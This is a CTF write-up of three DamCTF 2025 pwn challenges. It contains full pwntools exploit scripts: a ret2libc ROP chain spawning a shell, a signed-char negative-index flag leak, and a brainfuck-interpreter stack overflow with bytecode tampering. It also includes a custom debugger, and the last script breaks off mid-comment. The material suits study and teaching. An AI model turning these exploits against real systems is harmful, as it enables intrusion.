Introduction

Hello, I’m kako57, and I’m a member of the team L3ak.

So this weekend I played DamCTF 2025 with L3ak and we got third place overall with a full clear on all the challenges! Yay!

I did all the three pwn challenges with my teammate, White, and here are the solution ideas for every challenge

pwn/dnd

Dungeons and Dragons is fun, but this is DamCTF! Come play our version

The binary basically gives you five rounds in a game simulator, and for each turn you have a choice whether to attack or run. After five turns, it will tell you if you win or not.

# ./dnd
##### Welcome to the DamCTF and Dragons (DnD) simulator #####
Can you survive all 5 rounds?

>>> Round 1
Points: 0 | Health: 10 | Attack: 5
New enemy! You are now facing off against: Glitchkin the Gremlin (2 health, 1 damage)
Do you want to [a]ttack or [r]un? a
You defeated the monster!

>>> Round 2
Points: 2 | Health: 10 | Attack: 6
New enemy! You are now facing off against: Skulleater the Ogre (6 health, 2 damage)
Do you want to [a]ttack or [r]un? a
Oof, that hurt ;(

>>> Round 3
Points: -4 | Health: 8 | Attack: 6
New enemy! You are now facing off against: Glitchkin the Gremlin (1 health, 2 damage)
Do you want to [a]ttack or [r]un? a
You defeated the monster!

>>> Round 4
Points: -3 | Health: 8 | Attack: 7
New enemy! You are now facing off against: Cragmar the Ogre (5 health, 3 damage)
Do you want to [a]ttack or [r]un? a
You defeated the monster!

>>> Round 5
Points: 2 | Health: 8 | Attack: 8
New enemy! You are now facing off against: Stonefist the Ogre (6 health, 3 damage)
Do you want to [a]ttack or [r]un? a
You defeated the monster!
You lost! Too bad, better luck next time.

If you win, the win() function is called, which has an fgets call vulnerable to a buffer overflow:

[0x0040286d]> x/20i
0x0040286d   rip:
0x0040286d             f30f1efa  endbr64
0x00402871                   55  push rbp
0x00402872               4889e5  mov rbp, rsp
0x00402875                   53  push rbx
0x00402876             4883ec58  sub rsp, 0x58              ;; stack frame is this big
0x0040287a           bea8504000  mov esi, str.Congratulations__Minstrals_will_sing_of_your_triumphs_for_millenia_to_come.
0x0040287f           bfc0814000  mov edi, obj.std::cout
0x00402884           e867fbffff  call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
0x00402889           be40234000  mov esi, method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
0x0040288e               4889c7  mov rdi, rax
0x00402891           e88afbffff  call sym.imp.std::ostream::operator___std::ostream____std::ostream__
0x00402896           bef8504000  mov esi, str.What_is_your_name__fierce_warrior_
0x0040289b           bfc0814000  mov edi, obj.std::cout
0x004028a0           e84bfbffff  call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
0x004028a5       488b15d4580000  mov rdx, qword [rip + 0x58d4]
0x004028ac             488d45a0  lea rax, [rbp - 0x60]       ;; drec: buffer is only 0x60 bytes away from saved rbp
0x004028b0           be00010000  mov esi, 0x100
0x004028b5               4889c7  mov rdi, rax
0x004028b8           e813fcffff  call sym.imp.fgets          ;; drec: calls fgets with n=0x100

Running checksec we see that there is no stack canary, and the binary is not PIE:

# pwn checksec dnd
[*] '/shared/dnd/dnd'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

This means we can do a classic ret2libc exploit. But to get to win(), we have to satisfy conditions to win the game! Luckily, it’s not that hard to win the game by chance, even if you randomly mash the a or r. I decided that for my exploit, I’m going to run for four rounds, then attack at the last one. This means that my exploit is not so reliable, but with a few tries it ends up working!

from pwn import *

elf = context.binary = ELF("./dnd")
libc = ELF("./libc.so.6")

if args.REMOTE:
    io = remote("dnd.chals.ctfstaging.detjens.dev", 30813)
else:
    io = elf.process()

io.sendline(b'r')
io.sendline(b'r')
io.sendline(b'r')
io.sendline(b'r')
io.sendline(b'a')

io.recvuntil(b'What is your name, fierce warrior? ')

ntr = b'A' * 0x68

# 0x0000000000402640 : pop rdi ; nop ; pop rbp ; ret
pop_rdi_rbp = 0x402640
rop_chain = b''.join(map(p64, [
    pop_rdi_rbp,
    elf.got['puts'],
    0x4141414141414141,
    elf.plt['puts'],
    elf.sym['_Z3winv']
    ]))

io.sendline(ntr + rop_chain)

io.recvuntil(b'We will remember you forever, ')
io.recvline()

libc_leak = u64(io.recvline().strip().ljust(8, b'\x00'))
info(f'{hex(libc_leak)=}')

libc.address = libc_leak - libc.sym['puts']
info(f'{hex(libc.address)=}')

rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh\x00')))
io.sendline(ntr + rop.chain())

io.interactive()

Running it enough times (not a lot, I promise) we get this:

# python3 exploit.py REMOTE
[*] '/shared/dnd/dnd'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] '/shared/dnd/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to dnd.chals.ctfstaging.detjens.dev on port 30813: Done
[*] hex(libc_leak)='0x7efc387a4be0'
[*] hex(libc.address)='0x7efc3871d000'
[*] Loaded 111 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
Congratulations! Minstrals will sing of your triumphs for millenia to come.
What is your name, fierce warrior? We will remember you forever, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x906F\x18\x00\x00
$ ls
dnd
flag
$ cat flag
dam{w0w_th0s3_sc4ry_m0nster5_are_w3ak}
$

All failed attempts to win result in an EOFError.

pwn/charful

// TODO: learn how integer conversions work

That is the description of the challenge, so White, my teammate and I looked into the source code as to where that vulnerable integer conversion might be, but there doesn’t seem to be anything vulnerable in the source.

The flag is being read by the program though, so there has to be some way of performing negative indexing around the data that we can inspect with the function print_todo(). White, my teammate, found that the bounds checks for the index used in most, if not all, todo-related functions have removed the checks for whether the value less than zero.

According to the author, the char type is unsigned by default on ARM. While the Makefile suggests that the -fsigned-char flag is used, it only applies to the file main.c, but not todos.c.

Now, it’s just a matter of finding the correct offset for the flag.

White: I’ll try just printing the flag for now, which is index -65 Me: tries -65 Me: fails White: 4294967231, try that

nc charful.chals.damctf.xyz 30128


1. Add a TODO
2. Print a TODO
3. Mark a TODO as completed
4. Edit a TODO
5. Check for incomplete TODOs
6. Exit
What would you like to do? 4294967231
Invalid choice.


7. Add a TODO
8. Print a TODO
9. Mark a TODO as completed
10. Edit a TODO
11. Check for incomplete TODOs
12. Exit
What would you like to do? 2
Which TODO would you like to print? 4294967231
// TODO: e over that way -------------> dam{dont_you_love_to_play_with_fun_signed_chars} (done!)

pwn/brain-a-tac

I love brainfuck challenges because I know it by heart, unless it’s the 5D variant with time-travel. Thankfully, this challenge only concerns the standard brainfuck spec… is there even a spec for this?

>,[[>],[<]>-]-[>]-[<.+]++++++++++.

The line above was the original description. I think it what it meant was not clear for the other players, so the organizers decided to replace it:

server is running ./bf ">,[[>],[<]>-]-[>]-[<.+]++++++++++."

The program, bf, takes an argument, describing a brainfuck program. As clarified in the updated description, we do not control what program to run, and we’re stuck with what is in the description.

Program analysis

>,[[>],[<]>-]-[>]-[<.+]++++++++++.

The program first spares the cell 0 to be empty, then it reads a byte and stores its value at cell 1. Whatever this value is, let’s call it N for now. Then, the program reads N bytes for the next N cells, while decrementing the value in cell 1 (this is used to determine whether it already read N bytes). Then, once it’s done reading N bytes (or when value in cell 1 is 0), it will decrement cell 1 and the cell after the last byte, then start printing the bytes in reverse order, incrementing their values immediately after they get printed. Then, it reaches the cell 1, which would be of value FF, which also gets printed (\xff) and incremented, turning its value to zero, and ending the loop. The program then increments the value of cell 1 to 0A, which gets printed as a newline.

# printf "\x0a0123456789" | ./bf_patched ">,[[>],[<]>-]-[>]-[<.+]++++++++++." | hexdump -C
00000000  39 38 37 36 35 34 33 32  31 30 ff 0a              |9876543210..|
0000000c

Technical mechanism of the brainfuck interpreter

The binary bf is a brainfuck interpreter which takes the brainfuck program as a command-line argument, compiles it to VM bytecode, which is passed with an initial program state to a function that subsequently executes the compiled bytecode.

The program state can be represented as a struct:

struct ProgramState
{
    uint8_t mem[0x80];              // the cells 
    uint32_t program_opcodes[0x7f]; // the program code resides here
    uint16_t mp;                    // memory pointer
    uint16_t ip;                    // instruction pointer
};

Every instruction in the VM is 32-bits wide. The instructions are the following:

H------L
XXXXXX00 nop              ; increments ip
XXXXXX01 inc mp           ; increments mp
XXXXXX02 dec mp           ; decrements mp
XXXXXX03 putc [mp]        ; prints character at mem[mp]
XXXXXX04 getc [mp]        ; reads char and stores at mem[mp]
XXXXXX05 inc [mp]         ; increments value at mem[mp]
XXXXXX06 dec [mp]         ; decrements value at mem[mp]
OPNOXX07 jz               ; sets ip to OPNO if mem[mp] == 0
OPNOXX08 jnz              ; sets ip to OPNO if mem[mp] != 0

If the lowest 8 bits do not decode to any instruction, the default cases covers for it, and acts as a no-op instruction.

NOTE: XX in this case are bytes in the VM code that are not necessary in decoding the instruction, and can contain any value without changing the effects of the instruction.

The program terminates when the instruction pointer, ip reaches a value greater than or equal to 0x7F.

The program state resides in the main() function’s stack frame

...
ProgramState state
uint64_t canary
uint64_t saved_rbp
uint64_t return_address

The program also contains flags that cannot be modified through user input, and disabled by default, which, if enabled, can print debugging information. I did patch the program to enable the flags and tried to make good use of it, but White wants to have a dump of the VM code for analysis. In the end, we decided not to use the program’s built-in (but disabled) debugging mechanism.

The vulnerability

An improper validation of input vulnerability exists in the brainfuck program. After the first byte is read from the user input, it will then receive bytes based on the value of the first byte read. However, in order to decrement the counter in cell 1, the byte sent by the user requires to be non-null. Should the user decide to send a null byte, the movement of the memory pointer to the left does not proceed, and the memory pointer gets moved to the right instead, and proceeds to continue with the outer loop. This vulnerability can then be abused to continue writing past the space allocated for the brainfuck memory, allowing for stack buffer-based overflow.

Cooking a debugger

When I was working on the challenge with White, he complained about how hard it is to work with the binary. Here are some of the stuff that he said about:

ughh i think this will be a bit of a pain to work with which of the 4 bytes of the program is the opcode … and the args this looks to be a pain to work with lol can we just use a debugger to dump the opcodes generated

It is never a sin to complain, and I’m sure that the other teams also had their own frustrations with analyzing this binary, especially considering that this is a pwn challenge, which means you’ll have to analyze this dynamically. Most of the time I spent on this challenge was poured into creating tooling and reach enough of a foothold to pass to White.

I used libdebug to create a debugger for the program. It shows all the memory touched by the VM, the code instructions, the register values, and even “extras” - the canary, saved rbp, and return address. The hexdump library is also used so we can have a hexdump.

#!/usr/bin/env python3

from libdebug import debugger
from hexdump import hexdump
import struct
import sys

d = debugger(argv=["./bf_patched", ">,[[>],[<]>-]-[>]-[<.+]++++++++++."], aslr=True)

def decode_insn(t, ip):
    opcode = struct.unpack('<I', t.memory[t.regs.rdi + 0x80 + (ip * 4), 0x4])[0]
    op = opcode & 0xff

    # jmp_loc = opcode >> 0x10
    # I ended up using the formula below
    # because I reached a point
    # where I'm touching the code relative to mem
    jmp_loc = 0x80 + (opcode >> 0x10) * 4
    match op:
        case 0:
            return f'{opcode:08x}' + '\t' + 'nop\t(ip++)'
        case 1:
            return f'{opcode:08x}' + '\t' + 'inc\tmp'
        case 2:
            return f'{opcode:08x}' + '\t' + 'dec\tmp'
        case 3:
            return f'{opcode:08x}' + '\t' + 'putc\t[mp]'
        case 4:
            return f'{opcode:08x}' + '\t' + 'getc\t[mp]'
        case 5:
            return f'{opcode:08x}' + '\t' + 'inc\t[mp]'
        case 6:
            return f'{opcode:08x}' + '\t' + 'dec\t[mp]'
        case 7:
            return f'{opcode:08x}' + '\t' + f'jz\t0x{jmp_loc:x}'
        case 8:
            return f'{opcode:08x}' + '\t' + f'jnz\t0x{jmp_loc:x}'
        case _:
            return f'{opcode:08x}' + '\t' + 'nop\t(ip++)'

max_mp = 0

def dump_state(t, bp):
    '''
    async callback function that dumps the program state
    '''
    global max_mp

    # we look at a larger region because we can go beyond mem with mp
    mem = t.memory[t.regs.rdi, 0x1000]
    insn = t.memory[t.regs.rdi + 0x80, 0x4 * 0x7f].rstrip(b'\x00' * 4)
    # please forgive my math
    mp = struct.unpack('<H', t.memory[t.regs.rdi + 0x80 + 0x4 * 0x7f, 0x2])[0]
    ip = struct.unpack('<H', t.memory[t.regs.rdi + 0x80 + 0x4 * 0x7f + 0x2, 0x2])[0]
    canary = struct.unpack('<Q', t.memory[t.regs.rdi + 0x80 + 0x4 * 0x7f + 0x4, 8])[0]
    saved_rbp = struct.unpack('<Q', t.memory[t.regs.rdi + 0x80 + 0x4 * 0x7f + 0x4 + 0x8, 8])[0]
    return_address = struct.unpack('<Q', t.memory[t.regs.rdi + 0x80 + 0x4 * 0x7f + 0x4 + 0x8 + 0x8, 8])[0]

    # NOTE: we exit early for now, so that we don't see a ton of logs for nops
    # not like we'll need the entire code dump
    # just comment this if you know you go beyond ip=0x21
    if ip > 0x21:
        return

    # we show as many bytes as how far mp has went overall
    max_mp = max(max_mp, mp)

    dat = '\n'.join([
        '----------------------------------------------------------------------------',
        f"MEMORY: 0x{t.regs.rdi:016x}",
        hexdump(mem[:(max_mp + 0xf) // 0x10 * 0x10], 'return'),
        f"CODE:   0x{t.regs.rdi+0x80:016x}",
        *[f'{0x80 + (i*4):4x}: ' + decode_insn(t, i) + '\t<- ip' * (ip == i) for i in range(min(0x80, len(insn) // 4) + 1)],
        "REGISTERS:",
        f'mp: 0x{mp:02x} -> 0x{mem[mp]:02x}',
        f'ip: 0x{ip:02x} -> {decode_insn(t, ip)}',
        f"EXTRAS:",
        f'   canary: 0x{canary:016x}',
        f'saved rbp: 0x{saved_rbp:016x}',
        f' ret addr: 0x{return_address:016x}',
    ]) + '\n'

    # this ansi escape sequence is the same exact sequence used in gdb-gef
    # that allows you to move all past output above the terminal window (scroll up for previous output!)
    # we print to stderr so we don't see weird bytes should we decide to redirect output to a file
    sys.stderr.write('\33[H\33[2J')
    sys.stderr.flush()

    sys.stdout.write(dat)
    sys.stdout.flush()


# run doesn't actually run the binary.
io = d.run()

# libdebug WILL realize that this is a binary-relative address
# and the set the breakpoint at the correct address
# the callback is called asynchronously
d.breakpoint(0x1939, callback=dump_state)

# this is when the program is actually run
d.cont()

# your pwntools-like communication starts here
io.send(b'\x05Hello')
# this gets printed (promise!), but because the breakpoint is async and there might be a ton of nops, you might not see it
print('output:', io.recv(10))

# you can also import pwntools here from pwn import p8, u8, p32, cyclic
# basically cyclic and packing/unpacking stuff... the typical utilities
# but usually pwntools doesn't like working with libdebug

# wait for the program to finish (if it even finishes)
d.wait()

Here’s what it would look like if you run it (with the example I/O stuff I included):

----------------------------------------------------------------------------
MEMORY: 0x00007ffda658a5d8
00000000: 00 0A 49 66 6D 6D 70 FF  00 00 00 00 00 00 00 00  ..Ifmmp.........
CODE:   0x00007ffda658a658
  80: 00000001  inc     mp
  84: 00000004  getc    [mp]
  88: 000d0007  jz      0xb4
  8c: 00060007  jz      0x98
  90: 00000001  inc     mp
  94: 00040008  jnz     0x90
  98: 00000004  getc    [mp]
  9c: 000a0007  jz      0xa8
  a0: 00000002  dec     mp
  a4: 00080008  jnz     0xa0
  a8: 00000001  inc     mp
  ac: 00000006  dec     [mp]
  b0: 00030008  jnz     0x8c
  b4: 00000006  dec     [mp]
  b8: 00110007  jz      0xc4
  bc: 00000001  inc     mp
  c0: 000f0008  jnz     0xbc
  c4: 00000006  dec     [mp]
  c8: 00170007  jz      0xdc
  cc: 00000002  dec     mp
  d0: 00000003  putc    [mp]
  d4: 00000005  inc     [mp]
  d8: 00130008  jnz     0xcc
  dc: 00000005  inc     [mp]
  e0: 00000005  inc     [mp]
  e4: 00000005  inc     [mp]
  e8: 00000005  inc     [mp]
  ec: 00000005  inc     [mp]
  f0: 00000005  inc     [mp]
  f4: 00000005  inc     [mp]
  f8: 00000005  inc     [mp]
  fc: 00000005  inc     [mp]
 100: 00000005  inc     [mp]
 104: 00000003  putc    [mp]    <- ip
REGISTERS:
mp: 0x01 -> 0x0a
ip: 0x21 -> 00000003    putc    [mp]
EXTRAS:
   canary: 0x98d5461b906e3b00
saved rbp: 0x00007ffda658a900
 ret addr: 0x00007f7b5fe2a3b8
output: b'olleH\xff\n'

You can scroll up to see previous program states.

Strategy

First, we need to fill the memory, so that we can start overwriting the bytecode. To do that, we repeatedly send a non-null byte followed by a null-byte. This causes the memory pointer to slowly but surely drift to higher addresses and reach the code segment of the program state.

Then, the most complicated part: sending inputs to tamper the bytecode.

My initial idea is that we want to have some form of loop that does this:

loop:
getc [mp]
inc mp
jmp loop

While this is good, there are problems with this idea:

  1. This does not give us an info leak. The binary is PIE, and there is ASLR for sure, so we need to leak addresses if we want to make our infinite read loop useful.
  2. The VM has no concept of absolute jump! There is only jump if zero and jump if not zero, which means we have to at least define two jumps.
  3. Suppose we get jz and jnz to jump back to the same instruction, well, now we have a problem because we end with an uncontrollable loop, where we cannot stop the read loop when we want to. This causes problems, because we might end up going beyond the memory range for the stack, leading to an unexploitable segmentation fault condition.

To resolve this, we want our loop to have the following properties:

  • A loop that sends us the current byte value at the current cell, before we send the updated byte value. This allows us to preserve values in memory when needed, and also serves as an information leak primitive, while also keeping the out-of-bounds write primitive.
  • A loop that doesn’t care if it reads null or non-null bytes from user input.
  • A loop that allows us to break out of it when we want to.

Once we get such a loop, we can freely write anything, either by putting some “stage 2” bytecode that will be run after the loop, or just straight up proceed to writing a ROP chain to spawn a shell and get the flag.

Crafting the loop with desirable conditions

As much as I wanted to just dump the payload here, I will walk you through it with some explanation of what every part is for. You might think that I will have a good explanation for this part, but nope. I have a debugger written for you, so you can try to reverse-engineer my brain and figure out how I even got the payload for this part.

First we start with this:

io.send(b'\xff\x00' * 0x2b)

This fills the memory, partially tampering with the first bytecode instruction, but it doesn’t change program behaviour:

CODE:   0x00007ffe6e7ef2d8
  80: 00ff0001  inc     mp
  84: 00000004  getc    [mp]
  88: 000d0007  jz      0xb4
  8c: 00060007  jz      0x98
  90: 00000001  inc     mp
  94: 00040008  jnz     0x90
  98: 00000004  getc    [mp]    <- ip
  9c: 000a0007  jz      0xa8
  a0: 00000002  dec     mp
  a4: 00080008  jnz     0xa0
  a8: 00000001  inc     mp
  ac: 00000006  dec     [mp]
  b0: 00030008  jnz     0x8c
  b4: 00000006  dec     [mp]
  ...
REGISTERS:
mp: 0x83 -> 0x00
ip: 0x06 -> 00000004    getc    [mp]

As shown in the output, mp is now at 0x83, and cell 0x82 is 0xff (doesn’t change anything)

  8c: 00060007  jz      0x98
  90: 00000001  inc     mp
  94: 00040008  jnz     0x90
  98: 00000004  getc    [mp]    <- ip
  9c: 000a0007  jz      0xa8
  a0: 00000002  dec     mp
  a4: 00080008  jnz     0xa0
  a8: 00000001  inc     mp
  ac: 00000006  dec     [mp]
  b0: 00030008  jnz     0x8c

We now add some more bytes to the payload:

io.send(b'\x01\x00\x04\x01\x00\x41\x07')

The goal of this is to fill some more bytes to prepare for a targeted decrement of an opcode.

CODE:   0x00007ffcd97ce378
  80: 01fe0001  inc     mp
  84: 04fd0004  getc    [mp]
  88: 000d0107  jz      0xb4
  8c: 00064107  jz      0x98
  90: 00000001  inc     mp
  94: 00040008  jnz     0x90
  98: 00000004  getc    [mp]    <- ip
  9c: 000a0007  jz      0xa8
  a0: 00000002  dec     mp
  a4: 00080008  jnz     0xa0
  a8: 00000001  inc     mp
  ac: 00000006  dec     [mp]
  b0: 00030008  jnz     0x8c
  b4: 00000006  dec     [mp]
  ...
REGISTERS:
mp: 0x8f -> 0x00
ip: 0x06 -> 00000004    getc    [mp]

We fire one byte to cause modify one of the instructions!

io.send(b'\x01')

We have changed the instruction at mem[0x8c] from a jz to an inc [mp] instruction. This is still not useful, though.

CODE:   0x00007fff18d48868
  80: 01fe0001  inc     mp
  84: 04fd0004  getc    [mp]
  88: 000d0107  jz      0xb4
  8c: 01064105  inc     [mp]
  90: 00000001  inc     mp
  94: 00040008  jnz     0x90
  98: 00000004  getc    [mp]    <- ip
  9c: 000a0007  jz      0xa8
  a0: 00000002  dec     mp
  a4: 00080008  jnz     0xa0
  a8: 00000001  inc     mp
  ac: 00000006  dec     [mp]
  b0: 00030008  jnz     0x8c
  b4: 00000006  dec     [mp]
  ...
REGISTERS:
mp: 0x91 -> 0x00
ip: 0x06 -> 00000004    getc    [mp]

What happens if we fire again?

io.send(b'\x01')

Turns out that we decrement the same instruction down to a getc [mp]!

CODE:   0x00007ffc8181bed8
  80: 01fe0001  inc     mp
  84: 04fd0004  getc    [mp]
  88: 000d0107  jz      0xb4
  8c: 01064104  getc    [mp]    <- ip
  90: 00000101  inc     mp
  94: 00040008  jnz     0x90
  98: 00000004  getc    [mp]
  9c: 000a0007  jz      0xa8
  a0: 00000002  dec     mp
  a4: 00080008  jnz     0xa0
  a8: 00000001  inc     mp
  ac: 00000006  dec     [mp]
  b0: 00030008  jnz     0x8c
  b4: 00000006  dec     [mp]
  ...
REGISTERS:
mp: 0x8c -> 0x04
ip: 0x03 -> 01064104    getc    [mp]

Notice where mp points to. I want to keep this getc for later, so I must preserve that instruction.


Now we send the next bytes to satisfy one of our conditions: leak info before receiving input

io.send(b'\x04\x00\x00\x01\x03')

We modified the jump at 0x94 to have a putc [mp]!

CODE:   0x00007ffef7bc1db8
  80: 01fe0001  inc     mp
  84: 04fd0004  getc    [mp]
  88: 000d0107  jz      0xb4
  8c: 01064104  getc    [mp]
  90: 00000101  inc     mp
  94: 00040103  putc    [mp]
  98: 00000004  getc    [mp]    <- ip
  9c: 000a0007  jz      0xa8
  a0: 00000002  dec     mp
  a4: 00080008  jnz     0xa0
  a8: 00000001  inc     mp
  ac: 00000006  dec     [mp]
  b0: 00030008  jnz     0x8c
  b4: 00000006  dec     [mp]
  ...
REGISTERS:
mp: 0x95 -> 0x01
ip: 0x06 -> 00000004    getc    [mp]

The next few bytes are to preserve the getc [mp] instruction at 0x98, and then change the jump at 0x9c.

io.send(b'\x00\x01\x00\x04\x00\x00\x00\x08\x01\x04')

We now flip the jump condition after the putc [mp] and getc [mp], turning it from jz to jnz. We also changed the jump location to 0x90!

CODE:   0x00007ffed9243188
  80: 01fe0001  inc     mp
  84: 04fd0004  getc    [mp]
  88: 000d0107  jz      0xb4
  8c: 01064104  getc    [mp]
  90: 00000101  inc     mp
  94: 00010003  putc    [mp]
  98: 00000004  getc    [mp]    <- ip
  9c: 00040108  jnz     0x90
  a0: 00000002  dec     mp
  a4: 00080008  jnz     0xa0
  a8: 00000001  inc     mp
  ac: 00000006  dec     [mp]
  b0: 00030008  jnz     0x8c
  b4: 00000006  dec     [mp]
  ...
REGISTERS:
mp: 0x9f -> 0x00
ip: 0x06 -> 00000004    getc    [mp]

So now, we almost have a loop we can work with. As long as the bytes we send are not zero, we can keep writing bytes to memory continuously.


I now flip it back that same jump back to jz…

io.send(b'\x00\x07\x00\x05\x04\x00')

The bytes sent also make sure that the jump target is preserved:

CODE:   0x00007ffcf090a7f8
  80: 01fe0001  inc     mp
  84: 04fd0004  getc    [mp]
  88: 000d0107  jz      0xb4
  8c: 01064104  getc    [mp]
  90: 00000101  inc     mp
  94: 00010003  putc    [mp]
  98: 00000004  getc    [mp]    <- ip
  9c: 00040007  jz      0x90
  a0: 00000002  dec     mp
  a4: 00080008  jnz     0xa0
  a8: 00000001  inc     mp
  ac: 00000006  dec     [mp]
  b0: 00030008  jnz     0x8c
  b4: 00000006  dec     [mp]
  ...
REGISTERS:
mp: 0xa0 -> 0x02
ip: 0x06 -> 00000004    getc    [mp]

Why did I flip it back? Honestly I’m not sure anymore. I think it’s so that I end up using the getc [mp] instruction at 0x84 to modify the jump instruction. This keeps things stable.

Anyway, it is important that I optimize for sending null bytes, because we will need to send a lot of them when we go to the program’s nop sled later on. So this has to be a jz instruction


Finally, we have our jnz to complement our jz at 0x9c, giving us an infinite read loop!

io.send(b'\x08\x01\x00\x01\x01\x01')

Notice that the jz and jnz instructions at 0x9c and 0xa0 have different jump targets.

CODE:   0x00007fffb0c90448
  80: 01fe0001  inc     mp
  84: 04fd0004  getc    [mp]
  88: 000d0107  jz      0xb4
  8c: 01064104  getc    [mp]
  90: 00000101  inc     mp
  94: 00010003  putc    [mp]
  98: 00000004  getc    [mp]    <- ip
  9c: 00040007  jz      0x90
  a0: 00010008  jnz     0x84
  a4: 00080008  jnz     0xa0
  a8: 00000001  inc     mp
  ac: 00000006  dec     [mp]
  b0: 00030008  jnz     0x8c
  b4: 00000006  dec     [mp]
  ...
REGISTERS:
mp: 0xa3 -> 0x00
ip: 0x06 -> 00000004    getc    [mp]

We now have an read loop! Although passing stuff to it can be complicated…

  84: 04fd0004  getc    [mp]            ; this is our "kill switch"
  88: 000d0107  jz      0xb4            ; this leads to program exit
  8c: 01064104  getc    [mp]            ; we can "confirm" the input here
  90: 00000101  inc     mp
  94: 00010003  putc    [mp]            ; info leak
  98: 00000004  getc    [mp]    <- ip   ; read from input
  9c: 00040007  jz      0x90            ; if zero, just keep reading
  a0: 00010008  jnz     0x84            ; otherwise, "confirm" the input
  a4: 00080008  jnz     0xa0

While the loop can read infinitely, we don’t want that. We want to be able to break out of the loop when we want.

How do we work with this loop? We can make some rules:

  • if we want to write a null byte, send one null byte
  • if we want to write a non-null byte, we can send the same byte value three times!
    • technically you only need to send any non-null byte twice, then send the actual value, but why complicate things… this writeup is already too long
  • if we want the program to stop asking for input, we send any non-null byte, followed by a null byte.

And with that, we have our OOB read/write primitive! We can overwrite the stack, bytecode, or anything in the stack region after the program state struct. Obviously, we have to be careful messing with the mp and ip registers, because we will end up clobbering them with this primitive, but we can account for that in our exploit.

Solutions

After I got this primitive, I went on to sleep, hoping that White will wake up and come up with a solution. He did solve it about 30 minutes after he saw my work :)

Another teammate of ours asked what the final payload would look like, and White is like “you got this” and didn’t send solve script, because he thinks we’re all clever like him… so I wrote my own exploit lol

My solution - stage 2 bytecode + writing ROP chain in reverse

The concept is simple. We use the primitive I’ve created to do two things:

  1. Leak libc address to generate our ROP chain
  2. Write another VM bytecode, this time only a write loop (we don’t need to leak another time, we just need to write)

This new loop will have the same logic as the one we crafted for our primitive, but it will be decrementing mp instead of incrementing, so we will need to write our ROP chain in reverse. Writing this second loop is much easier, because we don’t have to deal with weird interactions with the rest of the bytecode anymore.

Once we get the info leak on the first pass, we simply write our ROP chain for the second pass, tell the second loop to stop reading, which would cause the program to finish interpreting, triggering our ROP chain that spawns the shell.

White’s solution (clever one)

The reason why I decided to go for a stage 2 was because I thought that I would need to have a libc leak first to calculate for ROP chain entries properly. Technically, I can do the whole thing in one go, where I account for carries and stuff, but White had a clever idea.

The phenomenon with ret2libc these days is the necessary ret gadget for modern 64-bit Linux platforms. This is due to system() requiring stack alignment? Why does it need stack alignment? The answer is SIMD. If you end up with a segfault in a ret2libc challenge, check where that segfault happened. If you see a SIMD instruction, simply put a ret gadget before your ROP chain for system("/bin/sh") and watch it work flawlessly.

White, being the pwn.college grinder that he is, definitely took notes of the ROP module and decided to look for a ret gadget close to the return address of main (it would be something like __libc_start_main + some_offset, libcdb calls it libc_start_main_ret). For this challenge, that address is libc’s base address + 0x2a3b8.

# ROPgadget --all --binary libc.so.6 | grep "0x000000000002a3.. : ret"
0x000000000002a334 : ret

And just like that, he hit the jackpot. Now, he only needs to send that lowest byte (0x34), read the rest of the libc address, derive the libc base address, generate the ROP chain, then proceed with the usual stuff.

Solve scripts

I placed here both White’s and my solution. We used pwninit to get a patched binary that works with the libc; that is why you will see bf_patched instead of bf.

The vulnerability researcher’s solution (drec)

For some reason that I haven’t really investigated, there might be times when remote starts giving chars in short bursts… When that happens, I just re-run the script.

Running with remote target prints the flag for you. Running a local process spawns an interactive shell.

#!/usr/bin/env python3
from pwn import *
import sys

elf = context.binary = ELF("./bf_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

if args.REMOTE:
    io = remote('brain-a-tac.chals.damctf.xyz', 31337)
else:
    io = process([elf.path, ">,[[>],[<]>-]-[>]-[<.+]++++++++++."], aslr=False)

def real_send(bv: bytes):
    if bv != b'\x00':
        io.send(bv * 3)
    else:
        io.send(bv)

def stop_reading(bv = b'1'):
    io.send(bv + b'\x00')

info("modifying bytecode to get an info leak loop")
# fill the mem
io.send(b'\xff\x00' * 0x2b
        +
        b'\x01\x00\x04\x01\x00\x41\x07\x01'
        b'\x01\x04\x00\x00\x01\x03\x00\x01'
        b'\x00\x04\x00\x00\x00\x08\x01\x04'
        b'\x00\x07\x00\x05\x04\x00\x08\x01'
        b'\x00\x01\x01\x01')
success("bytecode modified! we now have info leak loop")

'''
We end up with this nice information leak and some nice memory write primitive
but I won't use this write primitive for ROP,
but I will use it to write another bytecode for another memory write

CODE:   0x00007fffffffe168
...
  84: 04fd0004  getc    [mp]
  88: 000d0107  jz      0xb4
  8c: 01064104  getc    [mp]
  90: 00000101  inc     mp
  94: 00010003  putc    [mp]
  98: 00000004  getc    [mp]
  9c: 00040007  jz      0x90
  a0: 00010008  jnz     0x84
...

It's very possible to use this to write your ROP with this.
My other idea is that from 0xa4 onwards, we can start writing our own bytecode
so we can just prepare another read loop
'''

mem = bytearray(0x300)

# you can probably use io.clean() in pwntools
# then check how many bytes are sent back
io.recv(0xc)
io.send(b'\x00')

info("starting info leak loop...")
idx = 0xa4
while idx < 0xa8:
    recvd = io.recv(1)
    # read the byte, then send it back lol
    mem[idx] = u8(recvd)
    real_send(recvd)
    idx = (idx + 1) & 0xffff

'''
now we write instructions for memory overwrite
the memory overwrite will be performed backwards, byte by byte
we don't really need to leak bytes anymore so we just perform reads

below is the idea...

read_byte_not_zero:
    getc [mp]
    jz exit
    getc [mp]
read_loop:
    dec mp
    getc [mp]
    jz read_loop
